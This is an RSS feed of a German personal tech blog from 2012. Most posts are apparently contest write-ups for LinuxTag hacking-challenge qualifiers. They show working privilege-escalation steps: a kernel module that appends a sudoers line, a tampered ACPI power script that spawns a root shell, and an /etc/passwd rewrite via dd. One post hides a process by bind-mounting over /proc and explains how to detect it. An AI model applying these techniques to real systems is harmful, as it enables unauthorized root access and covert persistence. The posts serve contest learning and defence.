<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog@Laukien</title>
	<atom:link href="http://blog.laukien.com/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.laukien.com</link>
	<description>Futter für&#039;s Hirn</description>
	<lastBuildDate>Thu, 17 May 2012 17:26:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>LinuxTag &#8211; die 3. Herausforderung</title>
		<link>http://blog.laukien.com/software/betriebssystem/linuxtag-die-3-herausforderung.html</link>
		<comments>http://blog.laukien.com/software/betriebssystem/linuxtag-die-3-herausforderung.html#comments</comments>
		<pubDate>Thu, 17 May 2012 17:26:10 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Betriebssystem]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4256</guid>
		<description><![CDATA[Drei Herausforderungen galt es zu bestehen, um am diesjährigen LinuxTag-Hacking Contest teilnehmen zu dürfen. Die ersten beiden waren recht leicht zu bewältigen, der dritte jedoch&#8230; Ich musste einige Zeit Grübeln. Es galt, mittels eines privilegierten &#8220;insmod&#8221; auf dem Linux-System root-Rechte &#8230; <a href="http://blog.laukien.com/software/betriebssystem/linuxtag-die-3-herausforderung.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Drei Herausforderungen galt es zu bestehen, um am diesjährigen <a title="Hacking@LinuxTag" href="http://hacking.linuxtag.org/start.html" target="_blank">LinuxTag-Hacking Contest </a>teilnehmen zu dürfen. Die ersten beiden waren recht leicht zu bewältigen, der dritte jedoch&#8230; Ich musste einige Zeit Grübeln.<br />
Es galt, mittels eines privilegierten &#8220;insmod&#8221; auf dem Linux-System root-Rechte zu erhalten.<br />
<span id="more-4256"></span><br />
Es muss ein Kernelmodul her! Das war mein erst und der Gedanke, der mich seit Vorgestern beschäftigte. Die anderen Aufgaben waren jedoch verhältnismäßig trivial, weshalb das also eigentlich nicht die Lösung sein konnte. Ein Kernelmodul zu basteln, ist doch wohl eine andere Klasse, als ein bisschen im Dateisystem zu manipulieren.<br />
Früher gab es noch das Kernel-Modul &#8220;evbug&#8221;, mit dem man die Tastatureingabe mitschneiden konnte. Ich weiß nicht, ob bei Debian &amp; Co. dieses Modul immer noch verfügbar ist; bei CentOS 6 jedenfalls nicht. Was gleichartige Alternativen angeht, so liegt hier vermutlich mein Problem. Welches vorhandene Modul kann mir helfen; vielleicht ist es ja der Befehl &#8220;insmod&#8221; ansich?!<br />
Bevor ich mir nun die Quellen von &#8220;evbug&#8221; besorge und diese kompiliere, suche ich lieber nach einem Weg, der mir nicht nur auf &#8220;Gut-Glück&#8221; vielleicht irgendwann mal das root-Kennwort preis gibt, sondern gleich &amp; jetzt sofort.</p>
<p>&#8230;also doch ein eigenes Kernel-Modul&#8230;</p>
<p>Das basteln eines Kernelmoduls wollte ich verhindern, da ich mich im Kernelspace nicht wirklich auskenne und somit wohl kaum intuitiv etwas basteln kann, was auch noch das tut, was es tun soll. &#8211; Widerwillig mache ich mich an die Umsetzung:<br />
Die Idee ist es, der Konfiguration &#8220;/etc/sudoers&#8221; eine nette Zeile hinzuzufügen. Dazu muss ich dem Modul beibringen in das aktuelle Dateisystem zu schreiben. mit &#8220;printk&#8221; ist das soweit je kein Problem; führt aber mit hoher Sicherheit nicht zu dem Erfolg, den ich mir wünschen würde. Ich muss also etwas wie &#8220;fopen&#8221; für den Kernelspace finden. Der Verbissenheit sei dank, fand ich dann &#8211; nach längerer Suche &#8211; heraus, wie man, vom Kernel aus, im Dateisystem Unfug trieben kann, indem ich einen Keyloggers auseinander nahm.</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/fs.h&gt;
#include &lt;linux/string.h&gt;
#include &lt;asm/unistd.h&gt;
#include &lt;asm/uaccess.h&gt;

#define LOG_FILE &quot;/etc/sudoers&quot;

static struct file *file = NULL;

void write_to_file(char *filename, char* value);

int init_module(void) {
        printk(KERN_INFO &quot;LinuxTag - INIT\n&quot;);
        write_to_file(LOG_FILE, &quot;\nslaukien    ALL=(ALL)       ALL\n&quot;);
        return 0;
}

void cleanup_module(void) {
        printk(KERN_INFO &quot;LinuxTag - EXIT\n&quot;);
}

void write_to_file(char *filename, char* value) {
        mm_segment_t old_fs;
        if (!file)
                file = filp_open(filename, O_RDWR | O_APPEND | O_CREAT, 0440);
        if (IS_ERR(file)) {
                printk(KERN_ALERT &quot;Cannot open %s\n&quot;, filename);
                return;
        }

        old_fs = get_fs();
        set_fs(KERNEL_DS);
        file-&gt;f_op-&gt;write(file, value, strlen(value), &amp;file-&gt;f_pos);
        set_fs(old_fs);
}
</pre>
<p>Hier passiert der ganze Zauber. Wird das Modul mittels &#8220;insmod&#8221; geladen, so wird auch gleich die entsprechende Konfiguration um den Eintrag &#8220;slaukien    ALL=(ALL)       ALL&#8221; erweitert. Nutzt der Nutzer nun &#8220;sudo&#8221;, so nutzt er es mit root-Nutzer-Rechten. Der Befehl &#8220;sudo bash&#8221; führt dann zum erwünschten Ergebnis.</p>
<p>Wer Lust auf ein Makefile hat&#8230;</p>
<pre>
ifneq ($(KERNELRELEASE),)
# kbuild part of makefile
obj-m  := linuxtag.o

else
# normal makefile
KDIR ?= /lib/modules/`uname -r`/build

default:
        $(MAKE) -C $(KDIR) M=$$PWD

endif
</pre>
<p>Was in wenigen Zeilen hier zusammengefasst wurde, beschäftigte mich doch arg. Ich glaube immer noch nicht, dass meine Lösung wirklich die erwartete sein soll, aber sie funktioniert&#8230;und endlich kann ich wieder ruhig schlafen. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/software/betriebssystem/linuxtag-die-3-herausforderung.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ein CHTML-Update und JoeToe ist kaputt&#8230;</title>
		<link>http://blog.laukien.com/programmierung/ein-chtml-update-und-joetoe-ist-kaputt.html</link>
		<comments>http://blog.laukien.com/programmierung/ein-chtml-update-und-joetoe-ist-kaputt.html#comments</comments>
		<pubDate>Sat, 12 May 2012 17:06:53 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Fehler]]></category>
		<category><![CDATA[Optimierung]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4253</guid>
		<description><![CDATA[Tja, manchmal stellt man sich selbst gern&#8217; mal ein Bein. &#8211; Ich mache das keine Ausnahme! Heute hatte ich Zeit mich mal wieder um CHTML zu kümmern; es ging vor allem darum paar Baustellen aufzuräumen und endlich mal ein Mechanismus &#8230; <a href="http://blog.laukien.com/programmierung/ein-chtml-update-und-joetoe-ist-kaputt.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Tja, manchmal stellt man sich selbst gern&#8217; mal ein Bein. &#8211; Ich mache das keine Ausnahme!<br />
Heute hatte ich Zeit mich mal wieder um <a title="CHTML@GitHub" href="https://github.com/Laukien/CHTML" target="_blank">CHTML</a> zu kümmern; es ging vor allem darum paar Baustellen aufzuräumen und endlich mal ein Mechanismus zu schaffen, der etwas &#8220;intelligenter&#8221; ist.<br />
<span id="more-4253"></span><br />
Einstmals (also noch heute morgen) war es so, dass man sehr genau aufpassen musste, wenn man ein bestehendes CHTML-Projekt mit den aktuellen CHTML-Entwicklungen aktualisierte. Es musste darauf geachtet werden, dass die Datenbankeinstellung, die bis dato in der &#8220;config.h&#8221; gehalten wurden, wiederhergestellt wurden, das Makefile musste händisch angepasst werden&#8230;und überhaupt:<br />
Mann musste den Verstand schon ein wenig zusammen halten, um im Anschluss auch noch ein lauffähiges Projekt zu haben.</p>
<p>Nun ist es jedenfalls so, dass die Datenbankeinstellungen aus dem Konfigurationsverzeichnis importiert werden. Das Makefile wird ebenfalls automatisch generiert. &#8211; Auch hier finden sich die Konfigurationsmöglichkeiten wieder im Konfigurationsverzeichnis (cfg/chtml).<br />
So nebenher reparierte ich noch ein paar kleinere Fehlerleinchen hier und da und&#8230;<br />
&#8230;naja, ich probierte es aus&#8230;natürlich ohne zuvor eine Sicherung vom Projekt zu erstellen; denn schließlich sind Backups ja nur was für weinerliche Hosenscheißer! <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Was soll ich sagen?! Es sah &#8211; auf den ersten Blick &#8211; sehr gut aus!<br />
&#8230;nur warum lässt sich die Bibliothek namens &#8220;search.lib.x&#8221; nicht kompilieren? &#8220;INDEX_DIRECTORY&#8221; würde fehlen. Der gute Freund &#8220;grep&#8221; zeigte auch so gleich, dass es die Definition dieser, bis dato so unbedeutend scheinenden Meldung, wirklich nicht gibt. Nach ein bisschen Gewühl im Quelltext das &#8220;Ahha!&#8221;.<br />
Die Projekt-Bibliothek &#8220;chtml.lib.x&#8221; ist ja ganz leer! Ja klar, muss sie ja auch, denn ich habe sie ja einfach blind überschrieben, als ich den kompletten &#8220;src&#8221;-Ordner vom CHTML-Kern kopierte. &#8211; Schön doof! &#8211; Damit ist meine zentrale Projekt-Logik flöten. :-/<br />
Weg ist weg! &#8230;und damit so etwas nicht wieder passiert, bekam das neue Tool (build) aus dem Bereich &#8220;utility&#8221; auch gleich mal etwas mehr &#8220;Verstand&#8221;.<br />
&#8220;chtml.lib.h&#8221; &amp; &#8220;chtml.lib.cc&#8221; existieren nun nicht mehr als Dateien.<br />
Da es nicht nur äußerst sinnvoll ist, eine zentrale Bibliothek zu nutzen, sondern auch noch grundlegende Philosophie von CHTML, bekommt nun &#8220;bin/utl/build&#8221; die ehrenvolle Aufgabe diese zu generieren, wenn sie noch nicht existiert. Im Falle einer Migration bzw. eines Updates existiert diese Bibliothek und sie wird nicht mehr erstellt/überschrieben.</p>
<p>Also alles ist gut!<br />
&#8230;jetzt, da ich aus den Schmerzen lernen durfte. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Ach ja, bevor ich&#8217;s vergesse:<br />
Klont man <a title="CHTML - SourceCode" href="https://github.com/Laukien/CHTML" target="_blank">CHTML direkt von GitHup</a> so dürfte das Bash-Sktipt &#8220;bootstrap.sh&#8221; in&#8217;s Auge fallen. Mit dem Verteilen/Auslagern der Konfiguration und dem nun implementierten Generieren der Zentralbibliothek, kann man nicht mehr einfach so losstolpern, ohne ein bisschen zu zaubern. Denn schließlich soll ja &#8220;build&#8221; das Makefile generieren, welches es bis dato ja noch gar nicht gibt; build wird aber erst mittels des Makefiles erstellt. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
Also muss man sich buchstäblich erstmal an den eigenen Stiefeln aus dem Dreck ziehen, bevor&#8217;s losgehen kann. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/programmierung/ein-chtml-update-und-joetoe-ist-kaputt.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Floating point exception in &#8220;do_lookup_x&#8221; (SIGFPE)</title>
		<link>http://blog.laukien.com/programmierung/floating-point-exception-in-do_lookup_x-sigfpe.html</link>
		<comments>http://blog.laukien.com/programmierung/floating-point-exception-in-do_lookup_x-sigfpe.html#comments</comments>
		<pubDate>Tue, 08 May 2012 08:39:48 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Fehler]]></category>
		<category><![CDATA[Optimierung]]></category>
		<category><![CDATA[Suse]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4251</guid>
		<description><![CDATA[Man stelle sich vor, man kompiliere eine kleine und wenig exotische Anwendung (geschrieben in C++) unter einem halbwegs modernen CentOS 6 und versuche das Ergebnis auf einem weniger aktuellen SuSE Linux Enterprise Server 10 zum Laufen zu bringen. &#8220;Floating point &#8230; <a href="http://blog.laukien.com/programmierung/floating-point-exception-in-do_lookup_x-sigfpe.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Man stelle sich vor, man kompiliere eine kleine und wenig exotische Anwendung (geschrieben in C++) unter einem halbwegs modernen CentOS 6 und versuche das Ergebnis auf einem weniger aktuellen SuSE Linux Enterprise Server 10 zum Laufen zu bringen.<br />
&#8220;Floating point exception&#8221; ist die unerwartete Ausgabe. &#8211; Das ist in sofern interessant, da ich gar keine mathematischen Funktionen verwende. *grübel*<br />
<span id="more-4251"></span><br />
Nun ja &#8211; ich werfe den Debugger auf dem Zielsystem (SuSE) an und bekomme folgende Abbruchmeldung:</p>
<pre>
Missing separate debuginfo for /lib64/ld-linux-x86-64.so.2
Failed to read a valid object file image from memory.

Program received signal SIGFPE, Arithmetic exception.
0x00002aaaaaab368f in do_lookup_x () from /lib64/ld-linux-x86-64.so.2
</pre>
<p>Was soll das denn nun wieder? Es scheint hier wirklich ein bisschen Arithmetik vorgenommen zu werden. Aber nicht in einer Funktion, die von mir stammt. &#8211; Schön!<br />
Also muss da wieder mal was im C++ gezaubert worden sein&#8230; *Sputz!!!*<br />
Mein erste Versuch besteht darin, mal ein &#8220;-static&#8221; dem Linker mitzugeben.</p>
<pre>
/usr/bin/ld: cannot find -lm
collect2: ld returned 1 exit status
</pre>
<p>Ahhhh jaaa! So läuft der Hase.<br />
Hab&#8217; ich auf so einen Schmutz Lust? &#8211; Nein, sicher nicht!<br />
Also&#8230; Nächster Versuch mit einem &#8220;-static-libgcc&#8221;. Das kenn&#8217; ich schon von dem kompilieren für die Windowsplattform; es muss also auch funktionieren, wenn ich bei Linux bleibe. &#8230;oder?!<br />
Sieht erstmal super aus. &#8230;auf dem Zielsystem aber leider nicht&#8230; Denn hier wird offenbar eine weniger aktuelle Version von glib verwandt, was der ganzen Sache das Genick bricht.<br />
Google sei dank fand ich folgende Aussage:<br />
&#8220;Vergiss es! &#8211; Glib ist nur in eine Richtung kompatibel&#8230;&#8221; &#8230;und ich habe mir offenbar die falsche Richtung ausgesucht. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Die Lösung:<br />
Mit einer alten Version kompilieren/linken!<br />
Antwort:<br />
Nö!</p>
<p>Es gibt an der Stelle einen schöneren Weg. Es handelt sich um den Parameter &#8220;-Wl,&#8211;hash-style=both&#8221;. Fügt man diesem dem &#8220;g++&#8221;-Kommando hinzu, so sehnen die Chancen erheblich besser aus. &#8211; Es wurde offenbar etwas an der ELF-hash-section gefummelt. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Mein Kommando sieht nun wie folgt aus:<br />
<code>g++ -O0 -Wall -static-libgcc -Wl,--hash-style=both -o bin/dwh-install src/linux.cc src/lib.cc src/replace.cc</code></p>
<p>Wichtig ist aber, dass &#8220;keine Optimierung&#8221; in Form von &#8220;-O0&#8243; angegeben wird, da sonst alles nicht&#8217;s bringt.</p>
<p>Eine auf &#8220;CentOS 6.2 (4.4.6)&#8221; erstellte Binary läuft nun auch unter &#8220;SUSE Linux Enterprise Server 10 SP3 (4.1.2)&#8221;. &#8211; Freude!!!<br />
&#8230;fast so toll, als hätt&#8217; ich es gleich in sauberem C gemacht. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/programmierung/floating-point-exception-in-do_lookup_x-sigfpe.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prozess verstecken (Linux)</title>
		<link>http://blog.laukien.com/software/betriebssystem/prozess-verstecken-linux.html</link>
		<comments>http://blog.laukien.com/software/betriebssystem/prozess-verstecken-linux.html#comments</comments>
		<pubDate>Mon, 07 May 2012 18:44:27 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Betriebssystem]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4249</guid>
		<description><![CDATA[Das Vorhaben einen Prozess zu verstecken muss nicht immer was gutes Bedeuten. Fest steht aber auch, dass, wenn man nicht weiß, wie so etwas gemacht werden kann, es schwer fällt diese aufzudecken. Weil ich es nicht zu kompliziert machen will, &#8230; <a href="http://blog.laukien.com/software/betriebssystem/prozess-verstecken-linux.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Das Vorhaben einen Prozess zu verstecken muss nicht immer was gutes Bedeuten. Fest steht aber auch, dass, wenn man nicht weiß, wie so etwas gemacht werden kann, es schwer fällt diese aufzudecken.<br />
Weil ich es nicht zu kompliziert machen will, zeige ich hier den einfachste Weg mit den hauseigenen Bordmitteln von Linux.<br />
<span id="more-4249"></span><br />
In einer Konsole starte ich exemplarisch eine Instanz des Firefox. Ich wähle hier den Firefox, da es sich dabei um einen Ressourcen-Fresser handelt, den man bei &#8220;top&#8221; doch für gewöhnlich recht weit oben sieht. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  &#8230;es ist also das Ziel den Firefox-Prozess zu verstecken.</p>
<p>Sei es nun &#8220;ps&#8221;, &#8220;lsof&#8221;, &#8220;top&#8221; oder gar &#8220;lsso&#8221;&#8230; Das &#8220;/proc&#8221;-Verzeichnis ist gern der Quell der Information. Doof, wenn einem über diesen Weg in die Suppe gespuckt wird. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
Der Trick besteht darin, den Inhalt des Verzeichnis &#8220;virtuell&#8221; zu leeren. Das lässt sich sehr bequem bewerkstelligen, indem man einfach ein (mehr oder weniger) leeres Verzeichnis darüber &#8220;mountet&#8221;.<br />
<code><br />
mkdir /tmp/leer<br />
mount --bind /tmp/leer /proc/`pidof firefox`<br />
</code><br />
Das &#8220;/proc-Verzeichnis&#8221; mit der PID des Firefoxs ist nun leer und damit ist der Prozess auch &#8220;weg&#8221;.<br />
<code>ps ax | grep firefox | grep -v grep</code><br />
Auch &#8220;top&#8221; &#038; Co. zeigen Firefox nun nicht mehr.</p>
<p>Wie kommt man dem denn nun auf die Schliche? Im Prinzip muss man sich Wege suchen, die nicht auf &#8220;/proc&#8221; zurückgreifen. Handelt es sich z.B. um einen &#8220;Server&#8221;, der Netzwerktraffic verursacht, wie es z.B. bei einem klassischen Trojaner der Fall wäre, so ließe sich sicher etwas mit &#8220;netstat&#8221; ausfindig machen (<code>netstat -tulpen</code>). Da wir das Mount-Kommando für unsere dünsteten Zwecke missbrauchten, lässt sich auch genau dieses dazu bewegen, den Zauber zu entlarven. Mit <code>mount</code> bzw. <code>cat /proc/$$/mountinfo</code> bekommt man eine sehr detaillierte Ausgabe bei der sich (in meinem Fall) folgende Ausschrift zeigt:</p>
<pre>39 17 8:1 /tmp/leer /proc/3138 rw,relatime - ext4 /dev/sda1 rw,barrier=1,data=ordered</pre>
<p>Um &#8211; zu guter Letzt &#8211; dem Spuk ein Ende zu bereiten, kann man das Verzeichnis auch einfach wieder aushängen.<br />
<code>umount /tmp/leer</code></p>
<p>Die Lehre aus dieser Demonstration sollt sein, dass man sich mit einem kenntnisreichen Blick auf &#8220;ps&#8221; und &#8220;top&#8221; nicht all zu sicher fühlen sollte. Es findet sich immer einen Weg&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/software/betriebssystem/prozess-verstecken-linux.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux: root werden mittels “chown”</title>
		<link>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-%e2%80%9cchown%e2%80%9d.html</link>
		<comments>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-%e2%80%9cchown%e2%80%9d.html#comments</comments>
		<pubDate>Mon, 07 May 2012 12:04:37 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Betriebssystem]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4243</guid>
		<description><![CDATA[Eine weitere Herausforderung vom Hacking Contest des Linux Tags. Es geht nun darum mit Hilfe des &#8220;chown&#8221;-Befehls eine root-Shell zu bekommen. Der erste Gedanke war eigentlich der gleiche, wie der bereits beschriebene. Eher traurig, weil&#8217;s so keinen Spaß gemacht hätte. &#8230; <a href="http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-%e2%80%9cchown%e2%80%9d.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Eine weitere Herausforderung vom <a title="Hacking@LinuxTag" href="http://hacking.linuxtag.org/start.html" target="_blank">Hacking Contest</a> des Linux Tags.<br />
Es geht nun darum mit Hilfe des &#8220;chown&#8221;-Befehls eine root-Shell zu bekommen.</p>
<p>Der erste Gedanke war eigentlich der gleiche, wie der <a title="mit &quot;dd&quot; root werden" href="http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-dd.html">bereits beschriebene</a>.<br />
Eher traurig, weil&#8217;s so keinen Spaß gemacht hätte.<br />
&#8230;also ich meine die &#8220;/etc/passwd&#8221; oder von mir aus &#8220;/etc/shadow&#8221; umzuschreiben.<br />
Da es Spaß machen soll:<br />
Hier und heute ein anderer Weg!<br />
<em>Achtung:<br />
Versaut euch nicht den Spaß am rätseln! Versucht es erst mal selbst!!!</em><br />
<span id="more-4243"></span><br />
Die Idee ist einen sogenannten &#8220;hook&#8221; zu nutzen; einen Prozess also, der root-Rechte hat und einfach mal so andere Prozesse/Skripte aufruft. Weil ich Spaß am Spiel habe, habe ich mir mal einen besonderen, aber wenig sinnvollen gesucht.<br />
Ich nutze dem Powerschalter, um mir eine root-Shell aufrufen zu lassen!</p>
<p>Es handelt sich hierbei um ein Skript, welches bei einem Event (dem Power-Knopf-Druck) ausgeführt wird. Eigentlich soll damit dieser tolle Gnome-Dialog hochkommen, der dem Nutzer die Option verspricht, den Rechner auch anderweitig schlafen legen zu können, aber wir basteln noch eine geheime Zusatzfunktion hinzu. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
<code><br />
ll /etc/acpi/actions/power.sh<br />
-rwxr-xr-x 1 root root 707 May  7 12:34 /etc/acpi/actions/power.sh<br />
</code></p>
<p>Da wir ein &#8220;gepimptes&#8221; chmod besitzen, welches wir mit root-Rechten ausführen dürfen, haben wir auch die Möglichkeit unser Skript umzubauen. Dazu vergeben wir erstmal Rechte, mit dem unser Normalo-Stinke-Benutzer auch Schreibrechte auf das Skript hat.<br />
<code><br />
chown 500 /etc/acpi/actions/power.sh<br />
ll /etc/acpi/actions/power.sh<br />
-rwxr-xr-x 1 slaukien root 707 May  7 12:34 /etc/acpi/actions/power.sh<br />
</code></p>
<p>Und weil wir nun augenscheinlich die Rechte haben, machen wir auch gleich mal etwas daraus. Nämlich das Hinzufügen der Zeile <code>/bin/bash -i >/dev/tty11 2>&amp;1 &gt;/dev/tty11</code>, womit uns automatisch eine schöne root-Shell auf Konsole Nr. 11 geöffnet wird.<br />
<code><br />
vi /etc/acpi/actions/power.sh<br />
</code></p>
<pre>
#!/bin/sh

PATH=/sbin:/bin:/usr/bin

/bin/bash -i >/dev/tty11 2>&amp;1 &gt;/dev/tty11 &amp;
...
</pre>
<p>Nun wird der veränderte Eigentümer der Datei wieder auf root geändert und da war&#8217;s!<br />
<code><br />
chown 0 /etc/acpi/actions/power.sh<br />
ll /etc/acpi/actions/power.sh<br />
-rwxr-xr-x 1 root root 707 May  7 12:34 /etc/acpi/actions/power.sh<br />
</code></p>
<p>Drückt man nun den Power-Knopf (bei Gnome), so erscheint &#8211; wie gewohnt &#8211; das tolle Menü. Unbemerkt wurde aber auch die Konsole 11 belebt. Man wechsle geschwind mit &#8220;Strg+Alt+11&#8243; auf die Konsole und vollführe dort seinen Schabernack! <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /><br />
&#8230;natürlich nur zu Lehrzwecken und auf der eigenen LinuxBox!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-%e2%80%9cchown%e2%80%9d.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux: root werden mittels &#8220;dd&#8221;</title>
		<link>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-dd.html</link>
		<comments>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-dd.html#comments</comments>
		<pubDate>Wed, 02 May 2012 07:26:42 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Betriebssystem]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4240</guid>
		<description><![CDATA[Der LinuxTag 2012 steht an. Interessante Vorträge und auch ein Hacker-Wettbewerb stehen an. Um dabei teilnehmen zu dürfen, muss die erste Aufgabe beantwortet werden. ACHTUNG: Will man sich für den LinuxTag qualifizieren, sollte man schon allein drauf kommen. &#8211; Anderenfalls &#8230; <a href="http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-dd.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Der LinuxTag 2012 steht an. Interessante Vorträge und auch ein <a title="Hacking@LinuxTag" href="http://hacking.linuxtag.org/start.html" target="_blank">Hacker-Wettbewerb</a> stehen an. Um dabei teilnehmen zu dürfen, muss die erste Aufgabe beantwortet werden.</p>
<p>ACHTUNG:<br />
<em>Will man sich für den LinuxTag qualifizieren, sollte man schon allein drauf kommen. &#8211; Anderenfalls dürfte man sich spätestens mit Publikum schwer zum Affen machen. <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /><br />
Nehmt euch nicht den Spaß am knobeln; nutzt diese kleine, dumme Anleitung nur, wenn ihr selbst wirklich nicht drauf kommt.</em><br />
<span id="more-4240"></span><br />
Ich las, vor einigen Tagen, etwas von der Aufgabe &#8220;Mittels des Befehls &#8216;dd&#8217; root werden&#8230;&#8221;. So richtig ließ mir das keine Ruhe; gestern durchstöberte ich Google nach ein paar Ideen. &#8211; Keine Antwort! So las ich mir noch mal die Aufgabe richtig durch:<br />
Man kann &#8220;dd&#8221; mit root-Rechten ausführen! &#8211; Ahhhhhh! &#8230;das ist natürlich schon eine ganz andere Ausgangslage.</p>
<p>Mein erster Ansatz war es, einfach ein Skript in den Linux-Startprozess zu integrieren. Das ist aber ebenso unschön, wie z.B. den Cron-Daemon für seine niederen Zwecke zu missbrauchen.<br />
Perl verweigert (leider) die SUID-Ausführung; Bash ja sowieso&#8230;<br />
Dann muss es eben ein &#8220;sauberer&#8221; Weg sein. Sei allerdings gewarnt. &#8211; Du könntest dir damit durchaus dein System zerschießen. &#8211; Lass&#8217; es lieber bleiben, bevor&#8217;s wütende Tränen gibt.</p>
<p>Ich habe mir überlegt, meinen Test-Linux-Nutzer einfach mal mit root-Rechten auszustatten.<br />
Nutzer-Datei kopieren:<br />
<code>dd if=/etc/passwd of=passwd</code><br />
Bearbeiten:<br />
<code>vi passwd</code><br />
Von:</p>
<pre>test:x:500:500::/home/test:/bin/bash</pre>
<p>Zu:</p>
<pre>test:x:0:0::/home/test:/bin/bash</pre>
<p>Zurück schreiben:<br />
dd if=passwd of=/etc/passwd</p>
<p>Nun kann &#8211; wie gewohnt &#8211; mit &#8220;su&#8221; der Nutzer gewechselt werden.<br />
<code>su - test</code></p>
<pre>Password:
[root@linuxbox ~]#</pre>
<p><code>id -a</code></p>
<pre>uid=0(root) gid=0(root) groups=0(root)</pre>
<p><em>Ich hoffe, dass ich niemandem ernsthaft mit meinem &#8220;gespoiler&#8221; auf die Füße trete. Ich finde die Idee auf mögliche Sicherheitsschwächen auf diese Art aufmerksam zu machen, sehr gut und lehrreich; wünschte mir, es gäbe mehr davon.<br />
Sollte es dennoch jemandem nicht zusagen, dass ich hier &#8216;ne mögliche Lösung veröffentliche, so lasse er es mich wissen (Mailadresse im Impressum). &#8211; Ich nehme den Artikel dann wieder raus.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/software/betriebssystem/linux-root-werden-mittels-dd.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
